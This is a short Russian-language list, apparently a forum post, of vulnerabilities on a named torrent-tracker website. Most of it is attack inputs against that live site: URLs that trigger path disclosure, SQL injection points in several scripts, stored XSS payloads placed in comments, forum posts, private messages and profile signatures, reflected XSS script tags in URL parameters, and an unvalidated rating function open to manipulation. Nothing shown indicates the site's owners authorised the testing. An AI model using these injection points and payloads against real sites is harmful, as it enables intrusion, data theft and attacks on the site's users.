Раскрытие путей
http://uptracker.net/login.php?returnto[]=x
http://uptracker.net/topten.php?type[]=

404 (ссылка с профиля)
http://uptracker.net/fotogallery.php

SQL-inj (не раскручивал, некоторые, возможно, не представляют опасности, но как минимум - раскрытие путей)
// UPDATE, имхо
http://uptracker.net/details.php?id=-1'
http://uptracker.net/sendmessage.php?receiver=-1'
http://uptracker.net/browse.php?cat=-1'&incldead=1
users.php - любые параметры.

Активная XSS
http://uptracker.net/details.php?id=7614&viewcomm=6693#comm6693
<img src=. onerror=alert()>
------------
В форуме http://uptracker.net/forums.php?action=viewtopic&topicid=3114
<img src=. onerror=alert()>
-----------
http://uptracker.net/musik.php
Уязвимы все поля
-----------
Так же активка в ПМе.
-----------
Активка в профиле - подпись или информация
<img src=. onerror=alert()>

Накрутка рейтинга релиза -
onClick="update_rating(999) - функция не проверяет переданное значение

Пассивная XSS
http://uptracker.net/friends.php?action=add&type=friend&targetid=<scrip t>alert()</script>
http://uptracker.net/forums.php?action=<script>alert()</script>